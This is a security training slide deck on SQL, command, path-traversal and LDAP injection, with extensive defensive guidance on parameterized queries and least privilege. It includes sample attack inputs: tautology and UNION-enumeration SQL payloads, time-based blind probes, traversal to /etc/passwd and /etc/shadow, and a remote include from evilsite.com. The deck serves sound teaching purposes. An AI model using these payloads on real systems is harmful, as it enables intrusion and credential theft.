SlideShare ist ein Scribd-Unternehmen logo
1 von 52
SQL Injection
Eoin Keary
CTO BCC Risk Advisory
www.bccriskadvisory.com
www.edgescan.com
Where are we going?
Injection
SQL Injection Attack Types
Parameterized Queries
Database configuration security
Command Injection
LDAP Injection
SQL Injection
Lack of query parameterization can be exploited and used to execute
arbitrary queries against back-end databases
New malicious commands are added to application, hence the
term “injection”
Occurs when malicious untrusted input is used within SQL queries being
executed against back-end application databases
Injected SQL queries will run under the context of the application account,
allowing read and/or write access to application data and even schema!
SQL Injection Attack Types
Data Retrieval
Allow an attacker to extract data from the database. Exploits can
include modifying the record selection criteria of the SQL query or
appending a user-specified query using the SQL UNION directive.
This type of exploit can also be used to bypass poorly designed
login mechanisms
Data
Modification
Allow attacker to write to database tables. Can be used to modify
or add records to the database. (NOTE: Very dangerous and could
result in data corruption!) – DML
Database-
Specific
Exploits
Involve exploiting database-specific functionality. Can potentially
be used to execute arbitrary commands on the database server
operating system. (Command Injection)
SQL Error Messages
Where to find error messages?
To see raw error messages
you must uncheck Internet
Explorer’s default setting
(Tools  Internet Options
Advanced):
Show friendly HTTP error
messages
Anatomy of SQL Injection Attack
sql = “SELECT * FROM user_table WHERE username = ‘” &
Request(“username”) & “’ AND password = ‘” & Request
(“password”) & ”’”
What the developer intended:
username = chip
password = P@ssw0rd1
SQL Query:
SELECT * FROM user_table WHERE username = ‘chip’ AND password =
‘P@ssw0rd1’
Anatomy of SQL Injection Attack
sql = “SELECT * FROM user_table WHERE username = ‘” & Request(“username”) & “’
AND password = ‘” & Request(“password”) & “’”
(This is DYNAMIC sql –Bad)
What the developer did not intend is parameter values like:
username = john
password = blah’ or ‘1’=‘1
SQL Query:
SELECT * FROM user_table WHERE username = ‘john’ AND password
= ‘blah’ or ‘1’=‘1’
Since 1=1 is true and the AND is executed before the OR, all rows in the users table
are returned!
SQL Injection without a Single Quote (‘)
Attacks can occur even when variables are not encapsulated within single
quotes
sql = "SELECT * from users where custnum=" +
request.getParameter("AccountNum");
What happens if AccountNum is 1=1 or <boolean True> above?
Called "Numeric SQL Injection"
String Building to Call Stored
Procedures
 String building can be done when calling stored procedures as well
sql = "GetCustInfo @LastName=" +
request.getParameter("LastName");
 Stored Procedure Code
CREATE PROCEDURE GetCustInfo (@LastName VARCHAR(100))
AS
exec(‘SELECT * FROM CUSTOMER WHERE LNAME=‘’’ + @LastName + ‘’’’)
GO (Wrapped Dynamic SQL)
 What’s the issue here…………
 If blah’ OR ‘1’=‘1 is passed in as the LastName value, the entire table will be
returned
 Remember Stored procedures need to be implemented safely. 'Implemented safely'
means the stored procedure does not include any unsafe dynamic SQL generation.
Identifying SQL Injection Points
Insert a single apostrophe into application inputs to invoke a database syntax error
If a single apostrophe causes a generic error to be returned, SQL injection may still be
possible. Modify the string to eliminate the syntax error to validate that a database
error is occurring
 blah’--
 blah’ OR ‘1’=‘1
 blah’ OR ‘1’=‘2
 Blah’%20’OR%20’1’=‘1
 Blah’ OR 11;#
Trace all application input through the code to see which inputs are ultimately used
in database calls
Identify database calls using SQL string building to check for proper input validation
Code Review: Source and Sink
public void bad(HttpServletRequest request, HttpServletResponse response) throws Throwable
{
String data;
Logger log_bad = Logger.getLogger("local-logger");
/* read parameter from request */
data = request.getParameter("name");
Logger log2 = Logger.getLogger("local-logger");
Connection conn_tmp2 = null;
Statement sqlstatement = null;
ResultSet sqlrs = null;
try {
conn_tmp2 = IO.getDBConnection();
sqlstatement = conn_tmp2.createStatement();
/* take user input and place into dynamic sql query */
sqlrs = sqlstatement.executeQuery("select * from users where name='"+data+"'");
IO.writeString(sqlrs.toString());
}
catch(SQLException se)
{
Exploit is executed (Sink)
Input from request (Source)
Code Review: Find the Vulns!
public void doGet(HttpServletRequest req, HttpServletResponse res)
{
String name = req.getParameter("username");
String pwd = req.getParameter("password");
int id = validateUser(name, pwd);
String retstr = "User : " + name + " has ID: " + id;
res.getOutputStream().write(retstr.getBytes());
}
private int validateUser(String user, String pwd) throws Exception
{
Statement stmt = myConnection.createStatement();
ResultSet rs;
rs = stmt.executeQuery("select id from users where
user='" + user + "' and key='" + pwd + "'");
return rs.next() ? rs.getInt(1) : -1;
}
Advanced SQLi : Blind
http://joke.com/post.php?id=1
Select stuff from <table> where id=1;
 Return HTTP 200
http://joke.com/post.php?id=1 and 1=2
Select stuff from <table> where id=1 and 1=2;
 Return HTTP 500 ? / return nothing
http://joke.com/post.php?id=1 and 1=1
Select stuff from <table> where id=1 and 1=1;
 Return HTTP 200 (valid syntax)
String breaking:
http://joke.com/post.php?id=1 and 'eoin'='eoi'+'n'
Advanced SQLi : Timing Attacks
Timing Attacks:
Discover database schema details without explicit ODBC/JDBC errors.
SQL Server: waitfor delay
http://www.joke.com/vulnerable.php?id=1' waitfor delay '00:00:10'—
http://www.joke.com/vulnerable.php?id=1' IF
(ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'-- (+10
seconds)
Advanced SQLi : UNION
Result set matching using union
Integer Injection:
http://[site.com]/page.php?id=1 UNION SELECT ALL 1—
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site.com]/page.php?id=1 UNION SELECT ALL 1,2--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site.com]/page.php?id=1 UNION SELECT ALL 1,2,3--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site.com]/page.php?id=1 UNION SELECT ALL 1,2,3,4--
NO ERROR - We now know id returns 4 columns
Advanced SQLi : UNION
http://[site.com]/page.php?id=1 UNION SELECT ALL 1,USER,3,4—
Return DB USER account
http://[site.com]/page.php?id=1 UNION SELECT ALL
1,name,3,4 from sysobjects where xtype=char(85)—
Return Database Tables (Ascii char 85 = ‘U’; user table).
http://[site.com]/page.php?id=1 UNION SELECT ALL 1,column_name,3,4 from
DBNAME.information_schema.columns where table_name='TABLE-NAME-1'--
Return Table column names
How do we stop SQL Injection in our
code?
Defending Against SQL Injection
Validation using Known Good Validation should be used for all input used in SQL
queries
.NET’s parameterized queries are extremely resilient to SQL injection attacks, even in
the absence of input validation
Similar functionality exists for Java via Prepared Statements and Callable Statements
 Automatically limits scope of user input – cannot break out of variable scope (i.e.
it does the escaping for you)
 Performs data type checking on parameter values
Every web language has an API for Parameterized Queries!
Parameterized Queries
• Parameterized Queries ensure that an attacker is not able to
change the intent of a query, even if SQL commands are
inserted by an attacker.
Language Specific Recomendations
Java EE – use PreparedStatement() with bind variables
.NET – use parameterized queries like SqlCommand() or
OleDbCommand() with bind variables
PHP – use PDO with strongly typed parameterized queries
(using bindParam())
Hibernate - use createQuery() with bind variables (called
named parameters in Hibernate)
BOBBY TABLES IS WRONG. WHY?
Query Parameterization (PHP PDO)
$stmt = $dbh->prepare("update users set
email=:new_email where id=:user_id");
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
Java Prepared Statement
Dynamic SQL: (Injectable)
String sqlQuery = “UPDATE EMPLOYEES SET SALARY = ‘ +
request.getParameter(“newSalary”) + ‘ WHERE ID = ‘ + request.getParameter(“id”) + ‘”;
PreparedStatement: (Not Injectable)
String newSalary = request.getParameter(“newSalary”) ;
String id = request.getParameter(“id”);
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET SALARY = ? WHERE ID = ?");
pstmt.setString(1, newSalary);
pstmt.setString(2, id);
.NET Parameterized Query
Dynamic SQL: ( Not so Good )
string sql = "SELECT * FROM User WHERE Name = '" + NameTextBox.Text + "' AND Password = '" +
PasswordTextBox.Text + "'";
Parameterized Query: ( Nice, Nice! )
SqlConnection objConnection = new SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
"SELECT * FROM User WHERE Name = @Name AND Password =
@Password", objConnection);
objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PasswordTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();
if (objReader.Read()) { ...
HQL Injection Protection
unsafeHQLQuery = session.createQuery("from Inventory where
productID='"+userSuppliedParameter+"'");
Unsafe HQL Statement Query (Hibernate)
Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);
Safe version of the same query using named parameters
SQL Injection Protection for ASP.NET and
Ruby
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql); command.Parameters.Add(new
SqlParameter("@CustomerId",
System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
ASP.NET
# Create
Project.create!(:name => 'owasp')
# Read
Project.all(:conditions => "name = ?", name)
Project.all(:conditions => { :name => name })
Project.where("name = :name", :name => name)
# Update
project.update_attributes(:name => 'owasp')
# Delete
Project.delete(:name => 'name')
RUBY – Active Record
Cold Fusion and Perl Parameterized Queries
<cfquery name = "getFirst" dataSource = "cfsnippets">
SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID =
<cfqueryparam value = #intCourseID# CFSQLType = "CF_SQL_INTEGER">
</cfquery>
Cold Fusion
my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
Perl - DBI
Insecure Stored Procedure
(MSSQL)
create procedure getUser_USAFE
@un varchar(25)
as
declare @sql varchar(max)
set @sql = '
select lastname, passbcrypt, age
from Users
where username= ''' + @un + ''';'
exec (@sql)
Go
Secure Stored Procedure 1
(MSSQL)
create procedure getUsers_SAFE
@un varchar(25)
as
select lastname, passbcrypt, age
from Users
where username = @un;
Go
Secure Stored Procedure 2
(MSSQL)
declare @sql nvarchar(4000)
declare @monthNo int
declare @minAmount decimal
set @sql = N'
select SalesPerson from dbo.SalesData
where mon = @monthNo and amount > @minAmount'
set @monthNo = 2
set @minAmount = 100
exec sp_executesql @sql, N'@monthNo int, @minAmount decimal',
@monthNo, @minAmount
http://www.mssqltips.com/sqlservertip/2981/using-parameters-for-sql-server-
queries-and-stored-procedures/
Stored Procedures and SQL Injection
 Allows database permissions to be
restricted to only EXECUTE on stored
procedures (permission inheritance)
 Promotes code re-use (less error
prone and easier to maintain)
 They must not contain dynamic SQL
 Caution: Stored Procedures
themselves may be injectable!
Stored procedures provide
several benefits
Query Parameterization Needed
 When creating SQL
 When calling a a Stored Procedure
 When building a Stored Procedure
Restricting Default Database Permissions
Delete all default user accounts that are not used. Ensure that
strong/complex passwords are assigned to known user accounts
Restrict default access permissions on all objects. The application user
should either be removed from default roles (i.e. public), or the underlying
role permissions should be stripped
Disable dangerous/unnecessary functionality within the database server
(ADHOC provider access and xp_cmdshell in Microsoft SQL Server)
Database Principle of Least
PrivilegeDatabase accounts used by the application should have the minimal required privileges
If there is a SQLI vuln we may be able to limit the damage that an attacker might do
DB Query
Method
Privileges
Required by App
Privileges that can be revoked
Stored
Procedure
 EXECUTE on the stored procedure  SELECT, INSERT, UPDATE,
DELETE on the underlying Tables
 EXECUTE on system stored
procedures
 SELECT on system tables and views
Dynamic SQL  SELECT on the table (read-only) -
OR –
SELECT / UPDATE / INSERT/
DELETE on the table
(read / write)
 EXECUTE on system stored
procedures
 SELECT on system tables and views
File and OS Command Injection
Arbitrary File Upload
Uploading malicious files to web-accessible directories can be used to
compromise the underlying operating system and/or application
Malicious binaries to executable web-accessible directories
(ie. /cgi-bin/)
Malicious scripts to web-accessible directories with script mappings (can
be any or all directories)
Overwriting sensitive system files (/etc/passwd, /etc/shadow)
Uploading large files to the web server can be used to launch a
denial-of-service attack by filling web server drives
File Path Traversal Attacks
Calling other files via input parameters can expose the web server to
unauthorized file access
/default.php?page=about.php OK
/default.jsp?page=../../../../etc/passwd NOT OK
Compound this issue with excessive app permissions:
/default.jsp?page=../../../../etc/shadow OH NO!!!
/default.jsp/get-file?file=/etc/passwd OH NO!!!
/default.jsp/page?page=http://other-site.com.br/other-
page.htm/malicius-code.php OH NO!!!
http://vulnerable-page.org?viewtext=../upload.php OH NO!!!
Injection Flaws –Example
Document retrieval
sDoc = Request.QueryString("Doc")
if sDoc <> "" then
x = inStr(1,sDoc,".")
if x <> 0 then
sExtension = mid(sDoc,x+1)
sMimeType = getMime(sExtension)
else
sMimeType = "text/plain"
end if
set cm = session("cm")
cm.returnBinaryContent application("DOCUMENTROOT") & sDoc,
sMimeType
Response.End
end if
Source
Sink
Object Lookup Maps and Access Control
Pretty Name File ID Actual File
Profile.jpg 1234 /user/jim/1234
Data.xls 1235 /user/jim/1235
Cats.png 1236 /user/jim/1236
MoarCats.mov 1237 /user/jim/1237
Operating System Interaction
Applications often pass parameters that are ultimately used to interface with
the server file system and/or operating system
If not validated properly, parameters may be manipulated to provide
unauthorized read / write / execute access to server files
Many applications may allow users to upload files
Command Injection
Web applications may use input parameters as arguments for OS scripts or
executables
Almost every application platform provides a mechanism to execute local operating
system commands from application code
Most operating systems support multiple commands to be executed from the same
command line. Multiple commands are typically separated with the pipe “|” or
ampersand “&” characters
 Perl: system(), exec(), backquotes(``)
 C/C++: system(), popen(), backquotes(``)
 ASP: wscript.shell
 Java: getRuntime.exec
 MS-SQL Server: master..xp_cmdshell
 PHP : include() require(), eval() ,shell_exec
Testing for OS Interaction
Parameters should be tested individually to see if file system related errors
appear
File not found, Cannot open file, Path not found, etc.
Input parameters should be manipulated to include references to other
known files and directories
../../etc/passwd
../../../winnt/win.ini
../../../winnt/system32/cmd.exe
Note any parameters that appear to be referencing files or directory paths.
Also note any web server file names or paths that incorporate user specified
data
Testing for OS Interaction
If not, try to determine the local path to the web root directory and traverse
into the directory by manipulating the file name
../../../home/apache/htdocs/test.txt
......inetpubwwwroottest.txt
Try appending operating system commands to the end of application
parameters. Remember to encode the “&”
If the application allows file upload, try and determine where the files are
sent. If sent to web accessible directories, upload malicious files and/or
script and see if they can be executed
Defenses Against OS Interaction Attacks
Exact Match Validation should be used to ensure that only authorised files
are requested. If this is not feasible, then Known Good Validation or Known
Bad Validation should be used on parameter values and characters typically
used to alter file system paths should be rejected. ( .. / %)
Bounds Checking should also be performed to ensure that uploaded file sizes
do not exceed reasonable limits
In general, avoid using parameters to interface with the file system when at
all possible
Uploaded files should be placed into a directory that is not web accessible
and the application should handle all file naming (regardless of what the
original file name was)
Defenses Against OS Interaction Attacks
For file access using application parameters, consider using application logic
to correlate parameter values to file system paths or objects if dynamic file
access necessary. This can typically be done using an array or hash table
Always implement conservative read, write, and execute access control lists
at the OS level to restrict what files can be accessed by the application.
(more on this later)
If possible, verify uploaded file types by inspecting file headers. Native
controls for validating file types are available in certain development
platforms (.NET)
Store in application constants, where possible
PHP Command and Code Injection
• Caution when using PHP functions include(), include_once(),
require(), require_once()
• Also be careful with shell_exec(), exec(), passthru(), system(), eval()
• Example:
• http://testsite.com/index.php?page=contact.php
• http://testsite.com/?page=http://evilsite.com/evilcode.php
• Never let untrusted input drive any of these features and functions!
44
Dangers of PHP preg_replace
• Is this dangerous?
<?php
$in = 'Hello is there anybody in there?';
echo preg_replace($_GET['replace'],
$_GET['with'], $in);
?>
• What if the user enters this?
• $_GET['with'] = system('any command!')
45 4
5
LDAP Injection
dc=com
dc=pisoftware
ou=People ou=Group
uid=jparkeruid=bmarshal cn=sysadmincn=dev
LDAP injection
Lightweight Directory Access Protocol
Used for accessing information directories
Frequently used in web apps to help users search for specific
information on the internet.
Also used for authentication systems.
LDAP Injection
Technique for exploiting web apps using LDAP statements without first
properly validating that data
Similar techniques involved in SQL injection also apply to LDAP injection
Could result in the execution of arbitrary commands such as granting
permissions to unauthorized queries or content modification inside the LDAP
tree
Can determine how queries are structured by sending logical operators (e.g.
OR, AND, |, &, %26) and seeing what errors are returned
LDAP Injection Example
The following code is responsible to catch input value and generate a LDAP
query that will be used in LDAP database:
<input type="text" maxlength="20" name="userName">Insert
username</input>
Underlying code for the LDAP query:
String ldapSearchQuery = "(cn=" + $userName + ")";
System.out.println(ldapSearchQuery);
Variable $username is not validated
Entering “*” may return all usernames in the directory
Entering “eoin) (| (password = *) )” will generate the following code and
reveal eoinspassword:
( cn = eoin) ( | (password = * ) )
Defenses Against LDAP Injection
If other characters are needed, convert them to HTML substitutes (&quote,
& gt)
Data input validation of all client-supplied data!
Outgoing data validation
Access control to the data in the LDAP directory
Use known good validation with a regular expression
Only allow letters and numbers (or just numbers)
^[0-9a-zA-Z]*$
OWASP Injection Resources
LDAP Injection
https://www.owasp.org/index.php/LDAP_injection
https://www.owasp.org/index.php/Testing_for_LDAP_Injection_
(OWASP-DV-006)
SQL Injection
https://www.owasp.org/index.php/SQL_Injection_Prevention_
Cheat_Sheet
https://www.owasp.org/index.php/Query_Parameterization?_
Cheat_Sheet
Command Injection
https://www.owasp.org/index.php/Command_Injection
Summary
Injection
SQL Injection Attack Types
Parameterized Queries
Database configuration security
Command Injection
LDAP Injection

Weitere ähnliche Inhalte

Was ist angesagt?

Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injectionmatt_presson
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesChema Alonso
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresCade Zvavanjanja
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENGDmitry Evteev
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySandip Chaudhari
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Nuno Loureiro
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacksKevin Kline
 
Advanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection ProtectionAdvanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection Protectionamiable_indian
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionSina Manavi
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesChema Alonso
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586Stacy Watts
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injectionamiable_indian
 

Was ist angesagt? (20)

Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy Queries
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasures
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
Advanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection ProtectionAdvanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection Protection
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL Injection
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy Queries
 
Not so blind SQL Injection
Not so blind SQL InjectionNot so blind SQL Injection
Not so blind SQL Injection
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586
 
2nd-Order-SQLi-Josh
2nd-Order-SQLi-Josh2nd-Order-SQLi-Josh
2nd-Order-SQLi-Josh
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 

Andere mochten auch

Threat modeling librarian freedom conference
Threat modeling   librarian freedom conferenceThreat modeling   librarian freedom conference
Threat modeling librarian freedom conferenceevacide
 
Introduction to SQL Injection
Introduction to SQL InjectionIntroduction to SQL Injection
Introduction to SQL Injectionjpubal
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testingNapendra Singh
 
Sql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSiddhesh Bhobe
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity FrameworksRich Helton
 
D:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql InjectionD:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql Injectionavishkarm
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONAnoop T
 
Sql injection
Sql injectionSql injection
Sql injectionZidh
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
How to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheHow to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheLeslie Samuel
 

Andere mochten auch (15)

Threat modeling librarian freedom conference
Threat modeling   librarian freedom conferenceThreat modeling   librarian freedom conference
Threat modeling librarian freedom conference
 
SQL injection
SQL injectionSQL injection
SQL injection
 
Introduction to SQL Injection
Introduction to SQL InjectionIntroduction to SQL Injection
Introduction to SQL Injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testing
 
Sql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSql Injection Attacks Siddhesh
Sql Injection Attacks Siddhesh
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity Frameworks
 
D:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql InjectionD:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql Injection
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
Sql injection
Sql injectionSql injection
Sql injection
 
How to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheHow to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your Niche
 

Ähnlich wie 03. sql and other injection module v17

Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injectionnewbie2019
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampFelipe Prado
 
SQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington BeachSQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington BeachJeff Prom
 
Code injection and green sql
Code injection and green sqlCode injection and green sql
Code injection and green sqlKaustav Sengupta
 
SQL Injection attack
SQL Injection attackSQL Injection attack
SQL Injection attackRayudu Babu
 
8 sql injection
8   sql injection8   sql injection
8 sql injectiondrewz lin
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlChema Alonso
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)SqliChema Alonso
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASPMizno Kruge
 
Brief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenariosBrief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenariosPayampardaz
 
Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid Ahmed Ghazey
 
Web注入+http漏洞等描述
Web注入+http漏洞等描述Web注入+http漏洞等描述
Web注入+http漏洞等描述fangjiafu
 

Ähnlich wie 03. sql and other injection module v17 (20)

Sql Injection V.2
Sql Injection V.2Sql Injection V.2
Sql Injection V.2
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection in JAVA
SQL Injection in JAVASQL Injection in JAVA
SQL Injection in JAVA
 
Web application security
Web application securityWeb application security
Web application security
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
 
SQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington BeachSQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington Beach
 
Code injection and green sql
Code injection and green sqlCode injection and green sql
Code injection and green sql
 
Greensql2007
Greensql2007Greensql2007
Greensql2007
 
SQL Injection attack
SQL Injection attackSQL Injection attack
SQL Injection attack
 
8 sql injection
8   sql injection8   sql injection
8 sql injection
 
SQL Injection Attacks
SQL Injection AttacksSQL Injection Attacks
SQL Injection Attacks
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)Sql
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASP
 
Brief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenariosBrief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenarios
 
Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid Web security with Eng Ahmed Galal and Eng Ramy saeid
Web security with Eng Ahmed Galal and Eng Ramy saeid
 
Jdbc
JdbcJdbc
Jdbc
 
Java JDBC
Java JDBCJava JDBC
Java JDBC
 
Web注入+http漏洞等描述
Web注入+http漏洞等描述Web注入+http漏洞等描述
Web注入+http漏洞等描述
 

Mehr von Eoin Keary

IISF-March2023.pptx
IISF-March2023.pptxIISF-March2023.pptx
IISF-March2023.pptxEoin Keary
 
Validation of vulnerabilities.pdf
Validation of vulnerabilities.pdfValidation of vulnerabilities.pdf
Validation of vulnerabilities.pdfEoin Keary
 
Does a Hybrid model for vulnerability Management Make Sense.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdfDoes a Hybrid model for vulnerability Management Make Sense.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdfEoin Keary
 
Edgescan 2022 Vulnerability Statistics Report
Edgescan 2022 Vulnerability Statistics ReportEdgescan 2022 Vulnerability Statistics Report
Edgescan 2022 Vulnerability Statistics ReportEoin Keary
 
Edgescan 2021 Vulnerability Stats Report
Edgescan 2021 Vulnerability Stats ReportEdgescan 2021 Vulnerability Stats Report
Edgescan 2021 Vulnerability Stats ReportEoin Keary
 
One login enemy at the gates
One login enemy at the gatesOne login enemy at the gates
One login enemy at the gatesEoin Keary
 
Edgescan vulnerability stats report 2020
Edgescan vulnerability stats report 2020Edgescan vulnerability stats report 2020
